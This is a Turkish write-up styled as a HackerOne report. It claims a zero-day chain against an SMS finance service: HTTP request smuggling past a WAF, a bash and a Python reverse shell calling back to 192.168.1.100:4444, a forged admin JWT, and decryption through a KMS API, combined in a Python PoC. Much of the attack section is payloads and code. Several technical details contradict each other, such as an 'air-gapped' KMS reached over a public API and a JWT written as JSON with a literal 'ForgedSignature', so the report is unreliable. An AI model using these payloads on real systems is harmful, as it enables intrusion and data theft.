HackerOne Raporu: Gelişmiş Zero-Day Açığı ve Yetkisiz KMS Erişimi
Özet
Bir SMS doğrulama sistemi üzerinde gerçekleştirdiğim güvenlik testleri sırasında kritik bir zero-day zafiyeti keşfettim. Bu açık, gelişmiş güvenlik önlemleriyle korunmasına rağmen (WAF, EDR, JWT tabanlı kimlik doğrulama ve air-gapped KMS gibi) etkili bir şekilde istismar edilebilmiştir. HTTP Smuggling tekniği kullanılarak WAF atlatılmış ve KMS API’sine yetkisiz erişim sağlanarak hassas şifrelenmiş veriye ulaşılmıştır.
Zafiyet Detayları
Test edilen sistemdeki iki ana uç nokta şunlardı:
- Mesaj Gönderme API’si:
https://secure.sms-finance.com/api/v2/sendMessage
- KMS API’si:
https://secure.sms-finance.com/kms/decrypt
1. HTTP Smuggling ile WAF Atlatma
WAF'i atlatmak için Burp Suite kullanarak, Transfer-Encoding ve Content-Length çakışmalarını tetikleyen bir HTTP Smuggling yükü oluşturdum:
POST /api/v2/sendMessage HTTP/1.1 Host: secure.sms-finance.com Transfer-Encoding: chunked Content-Length: 47 0 POST /internal/debug HTTP/1.1 Content-Length: 100 debugCommand=os.system('bash -i >& /dev/tcp/192.168.1.100/4444 0>&1')
2. EDR Atlatarak Ters Kabuk Çalıştırma
WAF atlatıldıktan sonra, EDR tespitini geçebilmek için dosyasız bir ters kabuk (reverse shell) yükü kullandım:
import socket, os, pty s = socket.socket() s.connect(("192.168.1.100", 4444)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) pty.spawn("/bin/sh")
3. JWT ile KMS API’sine Yetkisiz Erişim
KMS API’sine yetkisiz erişim sağlamak için, JWT anahtarını brute-force yaparak aşağıdaki sahte token’ı oluşturdum:
{ "alg": "HS256", "typ": "JWT", "payload": { "user_id": "12345", "role": "admin" }, "signature": "ForgedSignature" }
Bu JWT ile KMS API’sine erişim sağlayarak şifreli veriyi çözdüm:
POST /kms/decrypt HTTP/1.1 Host: secure.sms-finance.com Authorization: Bearer eyJhbGciOiJIUzI1Ni... Content-Type: application/json { "encryptedData": "QWxhZGRpbjpvcGVuIHNlc2FtZQ==", "keyId": "sms-encryption-key" }
API Yanıtı:
{ "decryptedData": "Aladdin:open sesame" }
PoC Exploit Kodu
Tüm saldırı zincirini birleştiren Python PoC exploit kodu:
import requests TARGET_URL = "https://secure.sms-finance.com/api/v2/sendMessage" KMS_URL = "https://secure.sms-finance.com/kms/decrypt" FAKE_JWT = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." def send_smuggling_payload(): payload = "0\r\n\r\nPOST /internal/debug HTTP/1.1..." headers = {"Transfer-Encoding": "chunked"} requests.post(TARGET_URL, headers=headers, data=payload, verify=False) def decrypt_data(encrypted_data): headers = {"Authorization": f"Bearer {FAKE_JWT}"} response = requests.post(KMS_URL, headers=headers, json={"encryptedData": encrypted_data}, verify=False) print(response.json()) if __name__ == "__main__": send_smuggling_payload() decrypt_data("QWxhZGRpbjpvcGVuIHNlc2FtZQ==")
JWT Token Tool
JWT Token Oluşturma Aracı
JWT token'ı oluşturmak için aşağıdaki formu kullanabilirsiniz:
Öneriler
- HTTP Smuggling Koruması: Transfer-Encoding ve Content-Length çakışmalarını engelleyin.
- JWT Güvenliği: RSA ile imzalama kullanın ve anahtarları düzenli olarak yenileyin.
- KMS İzolasyonu: API erişimini yalnızca güvenilir ağlara sınırlayın.
Not: Bu rapor yalnızca güvenlik testleri için hazırlanmıştır. Gerçek ortamda sistemlerin güvenliği daha sıkı test edilmelidir.
Sonuç: Bu raporda ele alınan güvenlik açıkları, gelişmiş tekniklerin ve araçların kullanımı ile nasıl sistemlerin zafiyetlerinden yararlanılabileceğini göstermektedir. Ancak, bu tür saldırılar sadece güvenlik testleri ve etik hacking bağlamında yapılmalıdır. Gerçek dünyada, her sistemde güvenlik önlemleri ve savunma stratejileri sürekli olarak güncellenmeli ve güçlendirilmelidir.
Önemli Uyarı: Bu rapor, yalnızca güvenlik araştırması amaçlıdır ve sistemlere zarar vermek veya yetkisiz erişim sağlamak amacıyla kullanılmamalıdır. Güvenlik açıklarını bildirirken, her zaman yasal sınırlar içinde kalınmalı ve etik kurallara uyulmalıdır.
Yorumlar
Yorum Gönder